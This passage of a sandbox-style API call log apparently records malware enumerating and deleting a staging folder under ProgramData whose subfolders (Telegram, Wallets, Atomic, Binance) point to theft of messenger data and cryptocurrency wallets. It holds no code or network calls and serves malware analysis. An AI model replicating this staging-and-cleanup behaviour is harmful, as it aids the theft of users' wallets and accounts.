Size=0x8) returned 0x2116958 [0102.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2116958, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.159] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116958 | out: hHeap=0x2110000) returned 1 [0102.159] PathMatchSpecW (pszFile="Telegram", pszSpec="*.*") returned 1 [0102.159] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0102.159] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304e8 [0102.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0102.159] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x38) returned 0x33aaba0 [0102.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram", cchWideChar=56, lpMultiByteStr=0x33aaba0, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram", lpUsedDefaultChar=0x0) returned 56 [0102.159] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112d20 [0102.159] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaba0 | out: hHeap=0x2110000) returned 1 [0102.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Telegram", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0102.159] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa) returned 0x2112fe8 [0102.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Telegram", cchWideChar=10, lpMultiByteStr=0x2112fe8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Telegram", lpUsedDefaultChar=0x0) returned 10 [0102.160] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fe8 | out: hHeap=0x2110000) returned 1 [0102.160] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\telegram"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.160] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112d20 | out: hHeap=0x2110000) returned 1 [0102.160] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0102.160] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.160] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\telegram")) returned 0 [0102.160] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c90 | out: hHeap=0x2110000) returned 1 [0102.160] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e366c, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e366c, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e366c, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallets", cAlternateFileName="")) returned 1 [0102.160] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0102.160] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0102.160] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.160] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0102.160] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0102.160] lstrcatW (in: lpString1="\\", lpString2="Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.160] lstrcmpW (lpString1="Wallets", lpString2=".") returned 1 [0102.160] lstrcmpW (lpString1="Wallets", lpString2="..") returned 1 [0102.161] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.161] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\*.*" [0102.161] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e366c, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e366c, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c4fce, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0102.161] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.161] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.161] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\." [0102.161] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.161] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.161] lstrcatW (in: lpString1="\\Wallets\\", lpString2="." | out: lpString1="\\Wallets\\.") returned="\\Wallets\\." [0102.161] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.161] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e366c, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e366c, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c4fce, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.161] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.161] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.161] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\.." [0102.161] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.161] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.161] lstrcatW (in: lpString1="\\Wallets\\", lpString2=".." | out: lpString1="\\Wallets\\..") returned="\\Wallets\\.." [0102.161] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.161] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.161] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c2899, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c2899, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c2899, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Atomic", cAlternateFileName="")) returned 1 [0102.162] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.162] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.162] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2="Atomic" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic" [0102.162] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.162] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.162] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Atomic" | out: lpString1="\\Wallets\\Atomic") returned="\\Wallets\\Atomic" [0102.162] lstrcmpW (lpString1="Atomic", lpString2=".") returned 1 [0102.162] lstrcmpW (lpString1="Atomic", lpString2="..") returned 1 [0102.162] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic" [0102.162] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\*.*" [0102.162] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c2899, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c2899, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c2899, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d14d8 [0102.162] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic" [0102.162] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\" [0102.162] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\." [0102.162] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Atomic" | out: lpString1="\\Wallets\\Atomic") returned="\\Wallets\\Atomic" [0102.162] lstrcatW (in: lpString1="\\Wallets\\Atomic", lpString2="\\" | out: lpString1="\\Wallets\\Atomic\\") returned="\\Wallets\\Atomic\\" [0102.162] lstrcatW (in: lpString1="\\Wallets\\Atomic\\", lpString2="." | out: lpString1="\\Wallets\\Atomic\\.") returned="\\Wallets\\Atomic\\." [0102.162] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.162] FindNextFileW (in: hFindFile=0x6d14d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c2899, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c2899, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c2899, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.162] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic" [0102.162] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\" [0102.163] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic\\.." [0102.163] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Atomic" | out: lpString1="\\Wallets\\Atomic") returned="\\Wallets\\Atomic" [0102.163] lstrcatW (in: lpString1="\\Wallets\\Atomic", lpString2="\\" | out: lpString1="\\Wallets\\Atomic\\") returned="\\Wallets\\Atomic\\" [0102.163] lstrcatW (in: lpString1="\\Wallets\\Atomic\\", lpString2=".." | out: lpString1="\\Wallets\\Atomic\\..") returned="\\Wallets\\Atomic\\.." [0102.163] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.163] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.163] FindNextFileW (in: hFindFile=0x6d14d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c2899, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c2899, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c2899, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.163] FindClose (in: hFindFile=0x6d14d8 | out: hFindFile=0x6d14d8) returned 1 [0102.163] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0102.163] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x2112858 [0102.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic", cchWideChar=62, lpMultiByteStr=0x2112858, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic", lpUsedDefaultChar=0x0) returned 62 [0102.163] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112810 [0102.163] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112858 | out: hHeap=0x2110000) returned 1 [0102.163] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.163] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116978 [0102.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2116978, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.163] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116978 | out: hHeap=0x2110000) returned 1 [0102.163] PathMatchSpecW (pszFile="Atomic", pszSpec="*.*") returned 1 [0102.163] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.163] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34305b0 [0102.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0102.163] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x2112a08 [0102.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic", cchWideChar=62, lpMultiByteStr=0x2112a08, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic", lpUsedDefaultChar=0x0) returned 62 [0102.164] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112d20 [0102.164] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a08 | out: hHeap=0x2110000) returned 1 [0102.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Atomic", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.164] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2112f88 [0102.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Atomic", cchWideChar=16, lpMultiByteStr=0x2112f88, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Atomic", lpUsedDefaultChar=0x0) returned 16 [0102.164] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112f88 | out: hHeap=0x2110000) returned 1 [0102.164] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\atomic"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.164] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112d20 | out: hHeap=0x2110000) returned 1 [0102.164] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34305b0 | out: hHeap=0x2110000) returned 1 [0102.164] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.164] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Atomic" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\atomic")) returned 0 [0102.164] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112810 | out: hHeap=0x2110000) returned 1 [0102.164] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c3c26, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c3c26, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c3c26, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Binance", cAlternateFileName="")) returned 1 [0102.164] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.164] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.164] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2="Binance" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance" [0102.164] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.164] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.164] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Binance" | out: lpString1="\\Wallets\\Binance") returned="\\Wallets\\Binance" [0102.164] lstrcmpW (lpString1="Binance", lpString2=".") returned 1 [0102.164] lstrcmpW (lpString1="Binance", lpString2="..") returned 1 [0102.165] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance" [0102.165] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\*.*" [0102.165] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c3c26, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c3c26, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c3c26, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1618 [0102.165] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance" [0102.165] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\" [0102.165] lstrcatW (in: 